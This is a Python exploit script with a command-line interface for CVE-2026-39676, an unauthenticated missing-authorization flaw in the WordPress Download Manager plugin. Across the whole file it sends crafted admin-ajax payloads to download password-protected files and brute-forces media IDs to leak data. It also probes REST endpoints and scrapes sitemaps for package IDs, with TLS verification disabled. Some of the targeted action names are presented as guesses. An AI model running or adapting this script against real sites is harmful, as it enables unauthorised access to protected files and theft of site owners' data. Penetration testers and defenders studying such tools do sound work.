1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #!/usr/bin/env python3
"""
CVE-2026-39676 - WordPress Download Manager <= 3.3.52
Missing Authorization (Unauthenticated IDOR) Exploit
Description:
The Download Manager plugin for WordPress (versions <= 3.3.52) contains
a missing capability check vulnerability that allows unauthenticated
attackers to bypass access controls and access protected resources
such as password-protected files, restricted download packages, and
sensitive information.
This exploit targets the unauthenticated file download/password bypass
by leveraging the missing authorization checks in the plugin's file
serving and media access endpoints.
Author: HackerAI / Pentest Tool
Usage: python3 CVE-2026-39676.py -t http://target.com [options]
"""
import requests
import argparse
import sys
import re
import json
import urllib.parse
from bs4 import BeautifulSoup
from urllib3.exceptions import InsecureRequestWarning
# Suppress SSL warnings for pentesting
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# Banner
BANNER = """
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ███╗ ███╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗████╗ ████║
██║ ██║ ██║█████╗ █████╗ █████╔╝██║██╔██║██╔████╔██║
██║ ╚██╗ ██╔╝██╔══╝ ╚════╝██╔═══╝ ████╔╝██║██║╚██╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝██║ ╚═╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝
CVE-2026-39676 - Download Manager <= 3.3.52
Missing Authorization - Unauthenticated IDOR Exploit
"""
class DownloadManagerExploit:
"""Exploit for CVE-2026-39676 - Download Manager Missing Authorization"""
def __init__(self, target, proxy=None, verbose=False, timeout=30):
self.target = target.rstrip('/')
self.verbose = verbose
self.timeout = timeout
self.session = requests.Session()
self.session.verify = False
# AJAX endpoint
self.ajax_url = f"{self.target}/wp-admin/admin-ajax.php"
if proxy:
self.session.proxies = {
'http': proxy,
'https': proxy
}
# WordPress nonce (will be extracted if needed)
self.wp_nonce = None
self.log(f"[*] Target: {self.target}")
self.log(f"[*] AJAX URL: {self.ajax_url}")
def log(self, msg, level="info"):
"""Print log messages"""
if level == "info":
print(f"{msg}")
elif level == "success":
print(f"\033[92m{msg}\033[0m")
elif level == "error":
print(f"\033[91m{msg}\033[0m")
elif level == "verbose" and self.verbose:
print(f"\033[90m{msg}\033[0m")
def check_target(self):
"""Verify the target is reachable and has WordPress with Download Manager"""
try:
resp = self.session.get(self.target, timeout=self.timeout)
self.log(f"[+] Target is reachable (HTTP {resp.status_code})", "success")
return True
except requests.exceptions.RequestException as e:
self.log(f"[-] Target unreachable: {e}", "error")
return False
def verify_wp_ajax(self):
"""Verify WordPress AJAX handler is accessible"""
try:
resp = self.session.get(self.ajax_url, timeout=self.timeout)
# WordPress returns 0 (or -1) for direct AJAX access without action
if resp.status_code in [200, 400]:
self.log(f"[+] WordPress AJAX handler found", "success")
return True
return False
except requests.exceptions.RequestException:
return False
# =========================================================================
# EXPLOIT METHOD 1: Unauthenticated Download of Password-Protected Files
# via the legacy protectMediaLibrary / file download bypass
# =========================================================================
def exploit_protect_media_bypass(self, package_id=None, file_index=None):
"""
Exploits missing authorization in the protected media file download.
Targets the file serving endpoint that lacks proper capability checks.
The plugin's download handler fails to verify if the user has permission
to access password-protected download packages, allowing unauthenticated
access to the actual file content.
"""
self.log(f"\n[*] Attempting unauthenticated file download bypass...")
# Method A: Direct download via wpdm_download action (legacy endpoint)
payloads = []
# Method 1: Direct AJAX download action
payloads.append({
'action': 'wpdm_download_file',
'pid': package_id or '__wpdm_ajax_download',
'file': file_index or 0,
})
# Method 2: The AJAX download handler for frontend
payloads.append({
'action': 'wpdm_frontend_download',
'id': package_id or '',
'file': file_index or 0,
})
# Method 3: wpdm_ajax_call - generic handler that may dispatch
# to internal functions without auth checks
payloads.append({
'action': 'wpdm_ajax_call',
'execute': 'getfile',
'id': package_id or '',
})
# Method 4: Media library access control bypass (unauthenticated)
payloads.append({
'action': 'wpdm_media_access',
'mediaid': package_id or '',
})
for i, payload in enumerate(payloads):
try:
self.log(f"[*] Trying payload {i+1}: action={payload.get('action')}", "verbose")
resp = self.session.post(
self.ajax_url,
data=payload,
timeout=self.timeout,
allow_redirects=False
)
self.log(f"[*] Response: HTTP {resp.status_code} | Size: {len(resp.content)} bytes", "verbose")
# Check for file content (non-JSON, binary response = successful download)
content_type = resp.headers.get('Content-Type', '')
disposition = resp.headers.get('Content-Disposition', '')
if 'application' in content_type or 'octet-stream' in content_type or 'attachment' in disposition:
self.log(f"[!] FILE DOWNLOAD SUCCESSFUL via payload {i+1}!", "success")
self.log(f"[!] Content-Type: {content_type}", "success")
self.log(f"[!] Content-Disposition: {disposition}", "success")
self.log(f"[!] File size: {len(resp.content)} bytes", "success")
return resp.content
# Check if response contains file data (not JSON error)
if 'error' not in resp.text.lower() and len(resp.content) > 100:
try:
json_data = resp.json()
self.log(f"[*] JSON response: {json.dumps(json_data)[:200]}", "verbose")
# Check if it's a download redirect/URL
if 'downloadurl' in json_data or 'download_url' in json_data:
url = json_data.get('downloadurl') or json_data.get('download_url')
self.log(f"[!] Got download URL: {url}", "success")
file_resp = self.session.get(url, timeout=self.timeout)
return file_resp.content
except (json.JSONDecodeError, ValueError):
# Non-JSON response might be file content
if len(resp.content) > 500:
self.log(f"[!] Possible file content received via payload {i+1}", "success")
return resp.content
except requests.exceptions.RequestException as e:
self.log(f"[-] Request failed: {e}", "error")
return None
# =========================================================================
# EXPLOIT METHOD 2: Media Library Password/Info Disclosure
# =========================================================================
def exploit_media_info_disclosure(self):
"""
Attempts to extract media protection passwords and settings
from the unprotected AJAX endpoints. The wpdm_media_access and
related endpoints may leak password hashes/access tokens.
"""
self.log(f"\n[*] Attempting media information disclosure...")
# Try to enumerate media IDs (1-50 is typical range)
for media_id in range(1, 51):
payload = {
'action': 'wpdm_media_access',
'mediaid': str(media_id),
}
try:
resp = self.session.post(
self.ajax_url,
data=payload,
timeout=self.timeout
)
if resp.status_code == 200 and len(resp.text) > 10:
try:
data = resp.json()
if isinstance(data, dict) and 'success' in data:
self.log(f"[!] Media ID {media_id}: Accessible!", "success")
self.log(f"[!] Response: {json.dumps(data, indent=2)[:1000]}", "success")
return data
elif isinstance(data, dict) and len(data.keys()) > 0:
self.log(f"[!] Media ID {media_id}: {json.dumps(data, indent=2)[:500]}", "success")
return data
except json.JSONDecodeError:
if len(resp.text) > 200:
self.log(f"[!] Media ID {media_id}: Raw data received", "success")
self.log(f"[*] Response: {resp.text[:500]}", "verbose")
return resp.text
except requests.exceptions.RequestException:
continue
return None
# =========================================================================
# EXPLOIT METHOD 3: Direct Package/File Access via Public API
# =========================================================================
def exploit_direct_file_access(self):
"""
The Download Manager stores file references as custom post meta.
If the protectMediaLibrary or similar function lacks auth checks,
direct access to file attachments via known URLs may bypass protection.
"""
self.log(f"\n[*] Attempting direct file enumeration and access...")
# Common download package URLs
paths = [
f"/wp-content/uploads/download-manager-files/",
f"/?wpdm_view=all",
]
for path in paths:
url = f"{self.target}{path}"
try:
resp = self.session.get(url, timeout=self.timeout)
if resp.status_code == 200 and len(resp.content) > 500:
self.log(f"[!] Directory/list accessible: {url}", "success")
self.log(f"[*] Response size: {len(resp.content)} bytes", "verbose")
# Try to extract file references from the response
soup = BeautifulSoup(resp.text, 'html.parser')
links = soup.find_all('a')
for link in links:
href = link.get('href', '')
if any(ext in href.lower() for ext in ['.pdf', '.zip', '.doc', '.docx',
'.xls', '.xlsx', '.txt', '.csv',
'.jpg', '.png', '.mp3', '.mp4',
'.sql', '.env', '.config', '.php']):
self.log(f"[+] Found file reference: {href}", "success")
except requests.exceptions.RequestException:
continue
return None
# =========================================================================
# EXPLOIT METHOD 4: WordPress REST API Endpoint Abuse
# =========================================================================
def exploit_rest_api(self):
"""
Checks if Download Manager registers REST API endpoints
that lack authorization checks for unauthenticated users.
"""
self.log(f"\n[*] Checking REST API endpoints...")
rest_endpoints = [
f"{self.target}/wp-json/wpdm/v1/packages",
f"{self.target}/wp-json/wpdm/v1/files",
f"{self.target}/wp-json/wpdm/v1/download",
f"{self.target}/wp-json/wpdm/v2/packages",
f"{self.target}/wp-json/wpdm/v2/files",
f"{self.target}/wp-json/wpdm/v2/download",
f"{self.target}/wp-json/download-manager/v1/file",
f"{self.target}/wp-json/download-manager/v1/download",
f"{self.target}/wp-json/download-manager/v1/packages",
]
for endpoint in rest_endpoints:
try:
resp = self.session.get(
endpoint,
timeout=self.timeout,
headers={'Accept': 'application/json'}
)
if resp.status_code == 200:
try:
data = resp.json()
if isinstance(data, list) and len(data) > 0:
self.log(f"[!] REST API accessible: {endpoint}", "success")
self.log(f"[!] Data: {json.dumps(data, indent=2)[:1000]}", "success")
return data
elif isinstance(data, dict) and 'success' in data and data['success']:
self.log(f"[!] REST API accessible: {endpoint}", "success")
self.log(f"[!] Data: {json.dumps(data, indent=2)[:1000]}", "success")
return data
except json.JSONDecodeError:
pass
self.log(f"[*] REST {endpoint} -> HTTP {resp.status_code}", "verbose")
except requests.exceptions.RequestException:
continue
return None
# =========================================================================
# EXPLOIT METHOD 5: Enumerate and Download via Shortcode/Public Pages
# =========================================================================
def exploit_package_enumeration(self):
"""
Enumerates download package IDs from public pages and shortcodes,
then attempts to download files without authorization.
"""
self.log(f"\n[*] Enumerating download packages from public content...")
found_packages = set()
# Check sitemap for package references
sitemap_urls = [
f"{self.target}/sitemap.xml",
f"{self.target}/sitemap_index.xml",
f"{self.target}/wp-sitemap.xml",
]
for sitemap_url in sitemap_urls:
try:
resp = self.session.get(sitemap_url, timeout=self.timeout)
if resp.status_code == 200:
# Extract URLs that might contain download packages
urls = re.findall(r'<loc>(.*?)</loc>', resp.text)
for url in urls:
if 'download' in url.lower() or 'wpdm' in url.lower() or 'package' in url.lower():
found_packages.add(url)
self.log(f"[+] Found download-related URL: {url}", "success")
# Also check for download IDs
ids = re.findall(r'/download/(\d+)', resp.text)
for pid in ids:
found_packages.add(f"{self.target}/?wpdm_download={pid}")
self.log(f"[+] Found package ID: {pid}", "success")
except requests.exceptions.RequestException:
continue
return list(found_packages)
# =========================================================================
# FULL SCAN - Run all exploit methods
# =========================================================================
def run_full_scan(self, package_id=None):
"""Run all exploit methods against the target"""
self.log(f"\n{'='*60}")
self.log(f" CVE-2026-39676 - Full Exploitation Scan")
self.log(f"{'='*60}\n")
results = {}
# Method 1: Protect Media Bypass
self.log(f"\n{'─'*50}")
self.log(f" METHOD 1: Unauthenticated File Download Bypass")
self.log(f"{'─'*50}")
file_data = self.exploit_protect_media_bypass(package_id)
if file_data:
results['file_download'] = f"Downloaded {len(file_data)} bytes"
# Method 2: Media Info Disclosure
self.log(f"\n{'─'*50}")
self.log(f" METHOD 2: Media Information Disclosure")
self.log(f"{'─'*50}")
media_info = self.exploit_media_info_disclosure()
if media_info:
results['media_disclosure'] = "Media info accessible"
# Method 3: Direct File Access
self.log(f"\n{'─'*50}")
self.log(f" METHOD 3: Direct File/Path Enumeration")
self.log(f"{'─'*50}")
self.exploit_direct_file_access()
# Method 4: REST API
self.log(f"\n{'─'*50}")
self.log(f" METHOD 4: REST API Endpoint Abuse")
self.log(f"{'─'*50}")
api_data = self.exploit_rest_api()
if api_data:
results['rest_api'] = "REST API accessible"
# Method 5: Package Enumeration
self.log(f"\n{'─'*50}")
self.log(f" METHOD 5: Package Enumeration")
self.log(f"{'─'*50}")
packages = self.exploit_package_enumeration()
if packages:
results['packages_enum'] = f"Found {len(packages)} packages"
# Summary
self.log(f"\n{'='*60}")
self.log(f" SCAN RESULTS SUMMARY")
self.log(f"{'='*60}")
if results:
for k, v in results.items():
self.log(f" [+] {k}: {v}", "success")
self.log(f"\n [!] TARGET IS VULNERABLE TO CVE-2026-39676", "success")
else:
self.log(f" [-] No exploitable endpoints found via these methods.", "error")
self.log(f" [*] Try specifying a package ID with --pid or check the site manually.", "info")
return results
# =========================================================================
# INTERACTIVE DOWNLOAD - Download a specific file
# =========================================================================
def download_file(self, package_id, output_file=None):
"""Attempt to download a specific file by package ID"""
self.log(f"[*] Attempting to download package/file ID: {package_id}")
file_data = self.exploit_protect_media_bypass(package_id)
if file_data:
if output_file:
with open(output_file, 'wb') as f:
f.write(file_data)
self.log(f"[+] File saved to: {output_file}", "success")
return file_data
else:
self.log(f"[-] Failed to download file for ID: {package_id}", "error")
return None
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-39676 - WordPress Download Manager <= 3.3.52 Missing Authorization Exploit',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python3 CVE-2026-39676.py -t http://target.com
python3 CVE-2026-39676.py -t http://target.com -v
python3 CVE-2026-39676.py -t http://target.com --pid 123 -o file.zip
python3 CVE-2026-39676.py -t http://target.com --proxy http://127.0.0.1:8080
"""
)
parser.add_argument('-t', '--target', required=True, help='Target WordPress URL')
parser.add_argument('--pid', type=int, help='Specific package/file ID to target')
parser.add_argument('-o', '--output', help='Output file for downloaded data')
parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
parser.add_argument('--proxy', help='Proxy (e.g., http://127.0.0.1:8080)')
parser.add_argument('--timeout', type=int, default=30, help='Request timeout in seconds')
args = parser.parse_args()
print(BANNER)
exploit = DownloadManagerExploit(
target=args.target,
proxy=args.proxy,
verbose=args.verbose,
timeout=args.timeout
)
# Step 1: Check target
if not exploit.check_target():
sys.exit(1)
# Step 2: Verify AJAX
if not exploit.verify_wp_ajax():
print("[-] WordPress AJAX endpoint not found. Target may not be WordPress.")
sys.exit(1)
# Step 3: Run exploit
if args.pid:
# Download specific file
exploit.download_file(args.pid, args.output)
else:
# Full scan
exploit.run_full_scan()
print("\n[*] Exploit completed.\n")
|